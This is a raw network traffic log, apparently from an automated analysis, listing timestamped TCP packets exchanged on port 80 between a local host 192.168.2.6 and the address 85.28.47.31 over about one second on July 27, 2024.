Jul 27, 2024 03:19:17.524065971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.525741100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.525770903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.525825024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.525854111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.525898933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.525904894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.525938988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.525949001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.525970936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.525979996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.526005983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.526011944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.526046038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.526047945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.526088953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527004004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527050972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527113914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527158022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527168036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527210951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527220011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527251959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527261972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527285099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527292967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527318001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527327061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527354956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527360916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527388096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527395010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527420998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527431965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527456999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527462006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527493000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527501106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527528048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527549028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.527560949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.527574062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528501034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528536081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528568029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528568983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528601885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528604984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528631926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528635025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528650045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528669119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528702021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528712034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528742075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528786898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528815985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528834105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528851986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528868914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528912067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528920889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528954029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528974056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.528985977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.528990030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.529020071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.529028893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.529055119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.529064894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.529092073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530216932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530266047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530314922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530323029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530349016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530358076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530390978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530402899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530424118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530433893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530457973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530467033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530491114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.530499935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530529976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.530992985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531025887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531040907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.531059027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531070948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.531091928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531100035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.531131029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.531141996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531173944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531187057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.531214952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.531224966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.531267881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.535953999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536007881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536057949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536077023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536108017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536124945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536142111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536158085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536175966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536190033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536210060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536227942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536243916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536253929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536273003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536290884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536320925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536324978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536358118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536370039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536391973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536402941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536423922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536438942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536458969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.536470890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.536514997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.710216999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.716557980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908221006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908258915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908293962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908344030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908376932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908478022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.908478022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.908478022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.908767939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908818960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908849955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908894062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.908894062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.908901930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908936977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908971071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.908982038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.908982038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909003973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909049034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909049988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909056902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909109116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909116030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909142017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909174919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909187078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909187078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909213066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909245968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909279108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909292936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909292936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909312010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909344912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909358978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909358978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909378052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909411907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909423113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909423113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909445047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909490108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909491062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909708023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909723043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909739017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909754992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909768105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909768105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909769058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909781933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909785986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909804106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909821033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909826994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909826994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909837961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.909838915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909878016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.909878016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.007359982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.007395983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.007668972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.007908106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.007941961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.007971048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.007976055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.008001089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.008008957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.008040905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.008054018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.008054018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.008074999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.008109093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.008121014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.008121014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.008280039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009346008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009396076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009428024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009459019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009471893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009473085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009505987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009510994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009543896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009560108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009579897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009618044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009618044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009623051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009663105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.009960890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009975910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.009991884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.010013103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.010037899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.010037899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.010164022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.010255098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.010270119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.010283947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.010323048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.010346889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.011111021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011132956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011145115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011168003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011182070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011188984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.011198044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011213064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011215925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.011229038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.011261940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.011261940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.011358976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.012437105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012491941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.012629032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012643099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012658119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012671947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012685061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.012686968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012703896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012717962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.012725115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.012725115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.012763977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.013237953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013252020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013397932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013412952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013427973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013448954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.013448954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.013478994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013494015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013508081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.013519049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.013519049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.013730049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.014693022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014708042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014723063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014738083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014739990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.014754057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014767885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014781952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014790058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.014790058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.014799118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.014813900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.014843941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.015882015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015896082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015903950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015918016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015933037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015933990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.015948057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.015948057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015964985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015979052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.015981913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.015999079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.016019106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.016033888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.016071081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.016216993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.016231060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.016251087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.016266108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.016278028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.016279936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.016279936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.016304016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.016344070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120381117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120418072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120469093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120543003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120592117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120624065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120672941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120706081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120719910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120719910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120759010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120768070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120768070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120811939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120845079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120862961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120862961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120881081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120915890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.120935917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120935917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.120966911 CEST	80	49710	85.28.47.31	192.168.2.6
